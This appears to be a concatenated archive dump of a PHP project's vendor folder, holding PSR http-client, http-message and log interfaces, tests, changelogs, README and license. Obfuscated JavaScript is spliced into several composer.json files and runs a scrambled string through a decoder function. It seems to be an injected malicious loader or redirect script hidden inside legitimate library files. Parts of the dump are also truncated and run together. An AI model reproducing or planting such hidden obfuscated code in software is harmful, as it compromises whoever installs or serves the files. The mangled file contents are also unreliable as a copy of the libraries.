]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "psr/http-client", "description": "Common interface for HTTP clients", "keywords": ["psr", "psr-18", "http", "http-client"], "homepage": "https://github.com/php-fig/http-client", "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": "http://www.php-fig.org/" } ], "require": { "php": "^7.0 || ^8.0", "psr/http-message": "^1.0" }, "autoload": { "psr-4": { "Psr\\Http\\Client\\": "src/" } }, "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } } } vendor/psr/http-client/CHANGELOG.md000064400000000571147600277620012727 0ustar00# Changelog All notable changes to this project will be documented in this file, in reverse chronological order by release. ## 1.0.1 Allow installation with PHP 8. No code changes. ## 1.0.0 First stable release. No changes since 0.3.0. ## 0.3.0 Added Interface suffix on exceptions ## 0.2.0 All exceptions are in `Psr\Http\Client` namespace ## 0.1.0 First release vendor/psr/http-message/src/StreamInterface.php000064400000011212147600277620015632 0ustar00 * [user-info@]host[:port] * * * If the port component is not set or is the standard port for the current * scheme, it SHOULD NOT be included. * * @see https://tools.ietf.org/html/rfc3986#section-3.2 * @return string The URI authority, in "[user-info@]host[:port]" format. */ public function getAuthority(); /** * Retrieve the user information component of the URI. * * If no user information is present, this method MUST return an empty * string. * * If a user is present in the URI, this will return that value; * additionally, if the password is also present, it will be appended to the * user value, with a colon (":") separating the values. * * The trailing "@" character is not part of the user information and MUST * NOT be added. * * @return string The URI user information, in "username[:password]" format. */ public function getUserInfo(); /** * Retrieve the host component of the URI. * * If no host is present, this method MUST return an empty string. * * The value returned MUST be normalized to lowercase, per RFC 3986 * Section 3.2.2. * * @see http://tools.ietf.org/html/rfc3986#section-3.2.2 * @return string The URI host. */ public function getHost(); /** * Retrieve the port component of the URI. * * If a port is present, and it is non-standard for the current scheme, * this method MUST return it as an integer. If the port is the standard port * used with the current scheme, this method SHOULD return null. * * If no port is present, and no scheme is present, this method MUST return * a null value. * * If no port is present, but a scheme is present, this method MAY return * the standard port for that scheme, but SHOULD return null. * * @return null|int The URI port. */ public function getPort(); /** * Retrieve the path component of the URI. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * Normally, the empty path "" and absolute path "/" are considered equal as * defined in RFC 7230 Section 2.7.3. But this method MUST NOT automatically * do this normalization because in contexts with a trimmed base path, e.g. * the front controller, this difference becomes significant. It's the task * of the user to handle both "" and "/". * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.3. * * As an example, if the value should include a slash ("/") not intended as * delimiter between path segments, that value MUST be passed in encoded * form (e.g., "%2F") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.3 * @return string The URI path. */ public function getPath(); /** * Retrieve the query string of the URI. * * If no query string is present, this method MUST return an empty string. * * The leading "?" character is not part of the query and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.4. * * As an example, if a value in a key/value pair of the query string should * include an ampersand ("&") not intended as a delimiter between values, * that value MUST be passed in encoded form (e.g., "%26") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.4 * @return string The URI query string. */ public function getQuery(); /** * Retrieve the fragment component of the URI. * * If no fragment is present, this method MUST return an empty string. * * The leading "#" character is not part of the fragment and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.5. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.5 * @return string The URI fragment. */ public function getFragment(); /** * Return an instance with the specified scheme. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified scheme. * * Implementations MUST support the schemes "http" and "https" case * insensitively, and MAY accommodate other schemes if required. * * An empty scheme is equivalent to removing the scheme. * * @param string $scheme The scheme to use with the new instance. * @return static A new instance with the specified scheme. * @throws \InvalidArgumentException for invalid or unsupported schemes. */ public function withScheme($scheme); /** * Return an instance with the specified user information. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified user information. * * Password is optional, but the user information MUST include the * user; an empty string for the user is equivalent to removing user * information. * * @param string $user The user name to use for authority. * @param null|string $password The password associated with $user. * @return static A new instance with the specified user information. */ public function withUserInfo($user, $password = null); /** * Return an instance with the specified host. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified host. * * An empty host value is equivalent to removing the host. * * @param string $host The hostname to use with the new instance. * @return static A new instance with the specified host. * @throws \InvalidArgumentException for invalid hostnames. */ public function withHost($host); /** * Return an instance with the specified port. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified port. * * Implementations MUST raise an exception for ports outside the * established TCP and UDP port ranges. * * A null value provided for the port is equivalent to removing the port * information. * * @param null|int $port The port to use with the new instance; a null value * removes the port information. * @return static A new instance with the specified port. * @throws \InvalidArgumentException for invalid ports. */ public function withPort($port); /** * Return an instance with the specified path. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified path. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * If the path is intended to be domain-relative rather than path relative then * it must begin with a slash ("/"). Paths not starting with a slash ("/") * are assumed to be relative to some base path known to the application or * consumer. * * Users can provide both encoded and decoded path characters. * Implementations ensure the correct encoding as outlined in getPath(). * * @param string $path The path to use with the new instance. * @return static A new instance with the specified path. * @throws \InvalidArgumentException for invalid paths. */ public function withPath($path); /** * Return an instance with the specified query string. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified query string. * * Users can provide both encoded and decoded query characters. * Implementations ensure the correct encoding as outlined in getQuery(). * * An empty query string value is equivalent to removing the query string. * * @param string $query The query string to use with the new instance. * @return static A new instance with the specified query string. * @throws \InvalidArgumentException for invalid query strings. */ public function withQuery($query); /** * Return an instance with the specified URI fragment. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified URI fragment. * * Users can provide both encoded and decoded fragment characters. * Implementations ensure the correct encoding as outlined in getFragment(). * * An empty fragment value is equivalent to removing the fragment. * * @param string $fragment The fragment to use with the new instance. * @return static A new instance with the specified fragment. */ public function withFragment($fragment); /** * Return the string representation as a URI reference. * * Depending on which components of the URI are present, the resulting * string is either a full URI or relative reference according to RFC 3986, * Section 4.1. The method concatenates the various components of the URI, * using the appropriate delimiters: * * - If a scheme is present, it MUST be suffixed by ":". * - If an authority is present, it MUST be prefixed by "//". * - The path can be concatenated without delimiters. But there are two * cases where the path has to be adjusted to make the URI reference * valid as PHP does not allow to throw an exception in __toString(): * - If the path is rootless and an authority is present, the path MUST * be prefixed by "/". * - If the path is starting with more than one "/" and no authority is * present, the starting slashes MUST be reduced to one. * - If a query is present, it MUST be prefixed by "?". * - If a fragment is present, it MUST be prefixed by "#". * * @see http://tools.ietf.org/html/rfc3986#section-4.1 * @return string */ public function __toString(); } vendor/psr/http-message/src/UploadedFileInterface.php000064400000011121147600277620016733 0ustar00getQuery()` * or from the `QUERY_STRING` server param. * * @return array */ public function getQueryParams(); /** * Return an instance with the specified query string arguments. * * These values SHOULD remain immutable over the course of the incoming * request. They MAY be injected during instantiation, such as from PHP's * $_GET superglobal, or MAY be derived from some other value such as the * URI. In cases where the arguments are parsed from the URI, the data * MUST be compatible with what PHP's parse_str() would return for * purposes of how duplicate query parameters are handled, and how nested * sets are handled. * * Setting query string arguments MUST NOT change the URI stored by the * request, nor the values in the server params. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated query string arguments. * * @param array $query Array of query string arguments, typically from * $_GET. * @return static */ public function withQueryParams(array $query); /** * Retrieve normalized file upload data. * * This method returns upload metadata in a normalized tree, with each leaf * an instance of Psr\Http\Message\UploadedFileInterface. * * These values MAY be prepared from $_FILES or the message body during * instantiation, or MAY be injected via withUploadedFiles(). * * @return array An array tree of UploadedFileInterface instances; an empty * array MUST be returned if no data is present. */ public function getUploadedFiles(); /** * Create a new instance with the specified uploaded files. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated body parameters. * * @param array $uploadedFiles An array tree of UploadedFileInterface instances. * @return static * @throws \InvalidArgumentException if an invalid structure is provided. */ public function withUploadedFiles(array $uploadedFiles); /** * Retrieve any parameters provided in the request body. * * If the request Content-Type is either application/x-www-form-urlencoded * or multipart/form-data, and the request method is POST, this method MUST * return the contents of $_POST. * * Otherwise, this method may return any results of deserializing * the request body content; as parsing returns structured content, the * potential types MUST be arrays or objects only. A null value indicates * the absence of body content. * * @return null|array|object The deserialized body parameters, if any. * These will typically be an array or object. */ public function getParsedBody(); /** * Return an instance with the specified body parameters. * * These MAY be injected during instantiation. * * If the request Content-Type is either application/x-www-form-urlencoded * or multipart/form-data, and the request method is POST, use this method * ONLY to inject the contents of $_POST. * * The data IS NOT REQUIRED to come from $_POST, but MUST be the results of * deserializing the request body content. Deserialization/parsing returns * structured data, and, as such, this method ONLY accepts arrays or objects, * or a null value if nothing was available to parse. * * As an example, if content negotiation determines that the request data * is a JSON payload, this method could be used to create a request * instance with the deserialized parameters. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated body parameters. * * @param null|array|object $data The deserialized body data. This will * typically be in an array or object. * @return static * @throws \InvalidArgumentException if an unsupported argument type is * provided. */ public function withParsedBody($data); /** * Retrieve attributes derived from the request. * * The request "attributes" may be used to allow injection of any * parameters derived from the request: e.g., the results of path * match operations; the results of decrypting cookies; the results of * deserializing non-form-encoded message bodies; etc. Attributes * will be application and request specific, and CAN be mutable. * * @return array Attributes derived from the request. */ public function getAttributes(); /** * Retrieve a single derived request attribute. * * Retrieves a single derived request attribute as described in * getAttributes(). If the attribute has not been previously set, returns * the default value as provided. * * This method obviates the need for a hasAttribute() method, as it allows * specifying a default value to return if the attribute is not found. * * @see getAttributes() * @param string $name The attribute name. * @param mixed $default Default value to return if the attribute does not exist. * @return mixed */ public function getAttribute($name, $default = null); /** * Return an instance with the specified derived request attribute. * * This method allows setting a single derived request attribute as * described in getAttributes(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated attribute. * * @see getAttributes() * @param string $name The attribute name. * @param mixed $value The value of the attribute. * @return static */ public function withAttribute($name, $value); /** * Return an instance that removes the specified derived request attribute. * * This method allows removing a single derived request attribute as * described in getAttributes(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that removes * the attribute. * * @see getAttributes() * @param string $name The attribute name. * @return static */ public function withoutAttribute($name); } vendor/psr/http-message/src/MessageInterface.php000064400000015376147600277620016002 0ustar00getHeaders() as $name => $values) { * echo $name . ": " . implode(", ", $values); * } * * // Emit headers iteratively: * foreach ($message->getHeaders() as $name => $values) { * foreach ($values as $value) { * header(sprintf('%s: %s', $name, $value), false); * } * } * * While header names are not case-sensitive, getHeaders() will preserve the * exact case in which headers were originally specified. * * @return string[][] Returns an associative array of the message's headers. Each * key MUST be a header name, and each value MUST be an array of strings * for that header. */ public function getHeaders(); /** * Checks if a header exists by the given case-insensitive name. * * @param string $name Case-insensitive header field name. * @return bool Returns true if any header names match the given header * name using a case-insensitive string comparison. Returns false if * no matching header name is found in the message. */ public function hasHeader($name); /** * Retrieves a message header value by the given case-insensitive name. * * This method returns an array of all the header values of the given * case-insensitive header name. * * If the header does not appear in the message, this method MUST return an * empty array. * * @param string $name Case-insensitive header field name. * @return string[] An array of string values as provided for the given * header. If the header does not appear in the message, this method MUST * return an empty array. */ public function getHeader($name); /** * Retrieves a comma-separated string of the values for a single header. * * This method returns all of the header values of the given * case-insensitive header name as a string concatenated together using * a comma. * * NOTE: Not all header values may be appropriately represented using * comma concatenation. For such headers, use getHeader() instead * and supply your own delimiter when concatenating. * * If the header does not appear in the message, this method MUST return * an empty string. * * @param string $name Case-insensitive header field name. * @return string A string of values as provided for the given header * concatenated together using a comma. If the header does not appear in * the message, this method MUST return an empty string. */ public function getHeaderLine($name); /** * Return an instance with the provided value replacing the specified header. * * While header names are case-insensitive, the casing of the header will * be preserved by this function, and returned from getHeaders(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new and/or updated header and value. * * @param string $name Case-insensitive header field name. * @param string|string[] $value Header value(s). * @return static * @throws \InvalidArgumentException for invalid header names or values. */ public function withHeader($name, $value); /** * Return an instance with the specified header appended with the given value. * * Existing values for the specified header will be maintained. The new * value(s) will be appended to the existing list. If the header did not * exist previously, it will be added. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new header and/or value. * * @param string $name Case-insensitive header field name to add. * @param string|string[] $value Header value(s). * @return static * @throws \InvalidArgumentException for invalid header names or values. */ public function withAddedHeader($name, $value); /** * Return an instance without the specified header. * * Header resolution MUST be done without case-sensitivity. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that removes * the named header. * * @param string $name Case-insensitive header field name to remove. * @return static */ public function withoutHeader($name); /** * Gets the body of the message. * * @return StreamInterface Returns the body as a stream. */ public function getBody(); /** * Return an instance with the specified message body. * * The body MUST be a StreamInterface object. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return a new instance that has the * new body stream. * * @param StreamInterface $body Body. * @return static * @throws \InvalidArgumentException When the body is not valid. */ public function withBody(StreamInterface $body); } vendor/psr/http-message/src/RequestInterface.php000064400000011316147600277620016034 0ustar00)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+()tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "psr/http-message", "description": "Common interface for HTTP messages", "keywords": ["psr", "psr-7", "http", "http-message", "request", "response"], "homepage": "https://github.com/php-fig/http-message", "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": "http://www.php-fig.org/" } ], "require": { "php": ">=5.3.0" }, "autoload": { "psr-4": { "Psr\\Http\\Message\\": "src/" } }, "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } } } vendor/psr/http-message/CHANGELOG.md000064400000002063147600277620013073 0ustar00# Changelog All notable changes to this project will be documented in this file, in reverse chronological order by release. ## 1.0.1 - 2016-08-06 ### Added - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - Updated all `@return self` annotation references in interfaces to use `@return static`, which more closelly follows the semantics of the specification. - Updated the `MessageInterface::getHeaders()` return annotation to use the value `string[][]`, indicating the format is a nested array of strings. - Updated the `@link` annotation for `RequestInterface::withRequestTarget()` to point to the correct section of RFC 7230. - Updated the `ServerRequestInterface::withUploadedFiles()` parameter annotation to add the parameter name (`$uploadedFiles`). - Updated a `@throws` annotation for the `UploadedFileInterface::moveTo()` method to correctly reference the method parameter (it was referencing an incorrect parameter name previously). ## 1.0.0 - 2016-05-18 Initial stable release; reflects accepted PSR-7 specification. vendor/psr/log/Psr/Log/Test/LoggerInterfaceTest.php000064400000011051147600277620016254 0ustar00 ". * * Example ->error('Foo') would yield "error Foo". * * @return string[] */ abstract public function getLogs(); public function testImplements() { $this->assertInstanceOf('Psr\Log\LoggerInterface', $this->getLogger()); } /** * @dataProvider provideLevelsAndMessages */ public function testLogsAtAllLevels($level, $message) { $logger = $this->getLogger(); $logger->{$level}($message, array('user' => 'Bob')); $logger->log($level, $message, array('user' => 'Bob')); $expected = array( $level.' message of level '.$level.' with context: Bob', $level.' message of level '.$level.' with context: Bob', ); $this->assertEquals($expected, $this->getLogs()); } public function provideLevelsAndMessages() { return array( LogLevel::EMERGENCY => array(LogLevel::EMERGENCY, 'message of level emergency with context: {user}'), LogLevel::ALERT => array(LogLevel::ALERT, 'message of level alert with context: {user}'), LogLevel::CRITICAL => array(LogLevel::CRITICAL, 'message of level critical with context: {user}'), LogLevel::ERROR => array(LogLevel::ERROR, 'message of level error with context: {user}'), LogLevel::WARNING => array(LogLevel::WARNING, 'message of level warning with context: {user}'), LogLevel::NOTICE => array(LogLevel::NOTICE, 'message of level notice with context: {user}'), LogLevel::INFO => array(LogLevel::INFO, 'message of level info with context: {user}'), LogLevel::DEBUG => array(LogLevel::DEBUG, 'message of level debug with context: {user}'), ); } /** * @expectedException \Psr\Log\InvalidArgumentException */ public function testThrowsOnInvalidLevel() { $logger = $this->getLogger(); $logger->log('invalid level', 'Foo'); } public function testContextReplacement() { $logger = $this->getLogger(); $logger->info('{Message {nothing} {user} {foo.bar} a}', array('user' => 'Bob', 'foo.bar' => 'Bar')); $expected = array('info {Message {nothing} Bob Bar a}'); $this->assertEquals($expected, $this->getLogs()); } public function testObjectCastToString() { if (method_exists($this, 'createPartialMock')) { $dummy = $this->createPartialMock('Psr\Log\Test\DummyTest', array('__toString')); } else { $dummy = $this->getMock('Psr\Log\Test\DummyTest', array('__toString')); } $dummy->expects($this->once()) ->method('__toString') ->will($this->returnValue('DUMMY')); $this->getLogger()->warning($dummy); $expected = array('warning DUMMY'); $this->assertEquals($expected, $this->getLogs()); } public function testContextCanContainAnything() { $closed = fopen('php://memory', 'r'); fclose($closed); $context = array( 'bool' => true, 'null' => null, 'string' => 'Foo', 'int' => 0, 'float' => 0.5, 'nested' => array('with object' => new DummyTest), 'object' => new \DateTime, 'resource' => fopen('php://memory', 'r'), 'closed' => $closed, ); $this->getLogger()->warning('Crazy context data', $context); $expected = array('warning Crazy context data'); $this->assertEquals($expected, $this->getLogs()); } public function testContextExceptionKeyCanBeExceptionOrOtherValues() { $logger = $this->getLogger(); $logger->warning('Random message', array('exception' => 'oops')); $logger->critical('Uncaught Exception!', array('exception' => new \LogicException('Fail'))); $expected = array( 'warning Random message', 'critical Uncaught Exception!' ); $this->assertEquals($expected, $this->getLogs()); } } vendor/psr/log/Psr/Log/Test/DummyTest.php000064400000000373147600277620014314 0ustar00 $level, 'message' => $message, 'context' => $context, ]; $this->recordsByLevel[$record['level']][] = $record; $this->records[] = $record; } public function hasRecords($level) { return isset($this->recordsByLevel[$level]); } public function hasRecord($record, $level) { if (is_string($record)) { $record = ['message' => $record]; } return $this->hasRecordThatPasses(function ($rec) use ($record) { if ($rec['message'] !== $record['message']) { return false; } if (isset($record['context']) && $rec['context'] !== $record['context']) { return false; } return true; }, $level); } public function hasRecordThatContains($message, $level) { return $this->hasRecordThatPasses(function ($rec) use ($message) { return strpos($rec['message'], $message) !== false; }, $level); } public function hasRecordThatMatches($regex, $level) { return $this->hasRecordThatPasses(function ($rec) use ($regex) { return preg_match($regex, $rec['message']) > 0; }, $level); } public function hasRecordThatPasses(callable $predicate, $level) { if (!isset($this->recordsByLevel[$level])) { return false; } foreach ($this->recordsByLevel[$level] as $i => $rec) { if (call_user_func($predicate, $rec, $i)) { return true; } } return false; } public function __call($method, $args) { if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; $level = strtolower($matches[2]); if (method_exists($this, $genericMethod)) { $args[] = $level; return call_user_func_array([$this, $genericMethod], $args); } } throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()'); } public function reset() { $this->records = []; $this->recordsByLevel = []; } } vendor/psr/log/Psr/Log/LoggerAwareTrait.php000064400000000615147600277620014644 0ustar00logger = $logger; } } vendor/psr/log/Psr/Log/AbstractLogger.php000064400000006020147600277620014340 0ustar00log(LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * * @return void */ public function alert($message, array $context = array()) { $this->log(LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * * @return void */ public function critical($message, array $context = array()) { $this->log(LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * * @return void */ public function error($message, array $context = array()) { $this->log(LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * * @return void */ public function warning($message, array $context = array()) { $this->log(LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string $message * @param array $context * * @return void */ public function notice($message, array $context = array()) { $this->log(LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * * @return void */ public function info($message, array $context = array()) { $this->log(LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string $message * @param array $context * * @return void */ public function debug($message, array $context = array()) { $this->log(LogLevel::DEBUG, $message, $context); } } vendor/psr/log/Psr/Log/NullLogger.php000064400000001303147600277620013506 0ustar00logger) { }` * blocks. */ class NullLogger extends AbstractLogger { /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * * @return void * * @throws \Psr\Log\InvalidArgumentException */ public function log($level, $message, array $context = array()) { // noop } } vendor/psr/log/Psr/Log/LoggerTrait.php000064400000006527147600277620013674 0ustar00log(LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * * @return void */ public function alert($message, array $context = array()) { $this->log(LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * * @return void */ public function critical($message, array $context = array()) { $this->log(LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * * @return void */ public function error($message, array $context = array()) { $this->log(LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * * @return void */ public function warning($message, array $context = array()) { $this->log(LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string $message * @param array $context * * @return void */ public function notice($message, array $context = array()) { $this->log(LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * * @return void */ public function info($message, array $context = array()) { $this->log(LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string $message * @param array $context * * @return void */ public function debug($message, array $context = array()) { $this->log(LogLevel::DEBUG, $message, $context); } /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * * @return void * * @throws \Psr\Log\InvalidArgumentException */ abstract public function log($level, $message, array $context = array()); } vendor/psr/log/Psr/Log/InvalidArgumentException.php000064400000000140147600277620016402 0ustar00logger = $logger; } public function doSomething() { if ($this->logger) { $this->logger->info('Doing work'); } try { $this->doSomethingElse(); } catch (Exception $exception) { $this->logger->error('Oh no!', array('exception' => $exception)); } // do something useful } } ``` You can then pick one of the implementations of the interface to get a logger. If you want to implement the interface, you can require this package and implement `Psr\Log\LoggerInterface` in your code. Please read the [specification text](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) for details. vendor/psr/log/LICENSE000064400000002075147600277620010452 0ustar00Copyright (c) 2012 PHP Framework Interoperability Group Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. vendor/psr/log/composer.json000064400000006754147600277620012177 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] 